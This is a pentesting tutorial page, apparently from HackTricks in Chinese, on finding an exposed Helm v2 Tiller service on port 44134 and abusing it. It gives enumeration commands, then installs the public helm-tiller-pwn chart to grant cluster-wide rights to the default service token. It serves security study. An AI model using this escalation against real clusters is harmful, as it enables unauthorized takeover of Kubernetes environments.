> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/44134-pentesting-tiller-helm.md).

# 44134 - Pentesting Tiller (Helm)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有存储库中分发它们。这些包被称为**Helm Charts**。**Tiller**是默认在端口44134上运行的**服务**。

**默认端口:** 44134

```
PORT      STATE SERVICE VERSION
44134/tcp open  unknown
```

## 枚举

如果你可以**枚举不同命名空间的 pods 和/或 services**，请枚举它们并搜索名称中带有\*\*"tiller"\*\*的实例：

```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```

示例：

```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m
```

你也可以尝试查找运行在端口44134上的该服务：

```bash
sudo nmap -sS -p 44134 <IP>
```

一旦发现了它，您可以通过下载客户端 Helm 应用程序与其通信。您可以使用诸如 `homebrew` 这样的工具，或查看[**官方发布页面**](https://github.com/helm/helm/releases)\*\*。\*\*有关更多详细信息，或其他选项，请参阅[安装指南](https://v2.helm.sh/docs/using_helm/#installing-helm)。

然后，您可以**枚举服务**：

```
helm --host tiller-deploy.kube-system:44134 version
```

### 提权

默认情况下，**Helm2** 是以 **高权限** 安装在 **命名空间 kube-system** 中的，因此如果您找到该服务并具有访问权限，这可能允许您 **提升权限**。

您只需要安装一个类似于这个的软件包：[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn)，这将使 **默认服务令牌可以访问整个集群中的所有内容**。

```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```

在<http://rui0.cn/archives/1573>中，你可以找到**攻击的解释**，但基本上，如果你阅读\_helm-tiller-pwn/pwnchart/templates/\_目录下的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件，你会看到**所有权限都被赋予了默认令牌**。
